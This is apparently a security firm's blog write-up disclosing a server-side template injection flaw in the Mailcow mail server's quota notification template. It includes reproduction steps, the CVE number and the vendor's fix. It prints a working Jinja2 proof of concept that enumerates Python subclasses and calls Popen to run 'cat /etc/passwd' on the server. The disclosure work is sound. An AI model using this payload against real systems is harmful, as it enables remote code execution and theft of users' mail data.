How we at Selectel found a vulnerability in Mailcow, or a bit about security in open source

However, regardless of the chosen approach, you need to rely solely on yourself and independently verify the security of all components you implement in your infrastructure. Even if it's a popular project with thousands of stars on GitHub...

Hello, tekkix! My name is Natasha Baranova, and I am a web application security analyst at Selectel. I will now tell you how we found a critical vulnerability in one of the open source projects with 10,000 stars.

How it all started

There is a cool and quite popular open source mail server — Mailcow. It is deservedly in demand: there are detailed guides on working with the solution online, and in general, the documentation is well described.

One day, we in the information security department decided to conduct a pentest of this "mail cow" — and the result turned out to be unexpectedly interesting. But before continuing the story, let's recall what SSTI is.

Security Center

We talk about best practices and tools for information security, requirements, and changes in legislation.

Explore →

A bit about SSTI

A framework is a set of libraries, tools, and ready-made solutions that simplify and accelerate software development. One such tool is a templating engine — it automatically fills in data in pre-defined places and generates the final page. The templating engine works with templates — files that define the general structure of a page and mark areas where dynamic content will be inserted.

SSTI (Server-Side Template Injection) is a vulnerability that arises precisely in the context where the formation of a template occurs from unsafe user input. If user data enters the template without proper filtering, an attacker can inject special constructs of the templating engine and achieve arbitrary code execution.

This is exactly the type of vulnerability we discovered in the components of Mailcow — the template for notifications about exceeding mailbox quota and landing in quarantine.

How we discovered the vulnerability

During the audit of Mailcow, we noticed that in the admin panel (/admin), it was possible to edit the email notification template for exceeding the mailbox quota. To do this, you had to go to the section System → Configuration → Settings → Quota.

Since the project is open source, it was easy to see that Jinja2 was used for rendering. The thought immediately arose, can SSTI be injected here...

To test the hypothesis, a payload {{7*'7'}} was used, which confirmed that the data is embedded in the template as is. When the quota was reached, an email was sent to the specified address containing the result of our payload (777777), confirming the vulnerability.

From there, everything went according to the familiar scenario. The template is edited without any filtering — and this allows for an SSTI attack, resulting in arbitrary code execution on the server.

Steps to Reproduce SSTI

Step 1. Log in as an administrator and configure a custom quota overflow notification template under System → Configuration → Options → Quota notifications.

Step 2. Create a test mailbox in Email → Configuration → Mailboxes and set a low quota value (e.g., 1 MB) to make testing easier.

Step 3. Specify the sender address for quota notifications.

Step 4. From the test mailbox, send several emails to yourself to reach the mailbox load threshold of over 80% of the set quota.

Step 5. Once the threshold is reached, the system will send a warning email using the vulnerable template.

Proof of Concept (PoC)

First, we output available classes:

{{ ''.__class__.__mro__[1].__subclasses__() }}

Then we found the available Popen and used it to insert our shell code:

{% set subclasses = ''.__class__.__mro__[1].__subclasses__() %}
{% for c in subclasses %}
	{% if c.__name__ == 'Popen' %}
    	{{ c('cat /etc/passwd', shell=True, stdout=-1).communicate()[0] }}
	{% endif %}
{% endfor %}

Result

The output of the command cat /etc/passwd was returned in the body of the email message.

If the email content was truncated, the full text could be obtained by viewing the message source and decoding base64.

Criticality of the Vulnerability

The vulnerability allows arbitrary code execution on the server (RCE) with the privileges of the vmail user, which is a critical system user ensuring the operation of the entire mail system.

For the mail system, the risk is high. The vulnerability provides full access to all user mail data, the ability to read/change/delete all emails, and disrupt mail services, as well as access to sieve filters (the ability to intercept mail).

However, the risk is limited for the host, as there is isolation in the Docker container, no privileged rights, and escalation to root is not possible without additional vulnerabilities.

To exploit the vulnerability, access to the application's admin web panel is required. This means that the attacker must have valid admin credentials or obtain them through other means (for example, via social engineering or interception).

In Summary

Never insert unverified user data directly into a template.

All versions up to 2025-07 are affected, and the vulnerability has been assigned the number CVE-2025-53909. The developers quickly responded to the report — and now Mailcow has become a bit safer. It now uses Jinja2 SandboxedEnvironment to block access to unsafe methods. Inside this sandbox, templates can work with data and build HTML but do not have access to dangerous Python methods like subprocess.Popen or direct filesystem access.

Open source is great, but it’s important to remember that its strength lies not only in the open code but in the community that actively supports, develops, and audits it. If a project is "alive," that's a plus, but even popular solutions can have serious vulnerabilities.

Check even what seems "secure" — and especially what interacts directly with users. Email templates, notifications, reports — common entry points and sources of vulnerabilities. And of course, don’t forget to keep everything updated.